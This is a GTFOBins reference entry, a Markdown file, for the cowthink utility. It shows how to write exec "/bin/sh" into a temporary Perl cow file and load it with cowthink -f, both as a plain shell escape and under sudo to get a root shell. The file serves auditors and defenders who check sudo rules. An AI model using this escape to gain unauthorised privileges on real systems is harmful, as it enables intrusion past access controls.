GTFOBins.github.io/_gtfobins/cowthink.md

15 lines
327 B
Markdown
Raw Normal View History

2020-11-12 00:00:12 +00:00
---
description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply.
functions:
shell:
- code: |
TF=$(mktemp)
echo 'exec "/bin/sh";' >$TF
cowthink -f $TF x
sudo:
- code: |
TF=$(mktemp)
echo 'exec "/bin/sh";' >$TF
sudo cowthink -f $TF x
---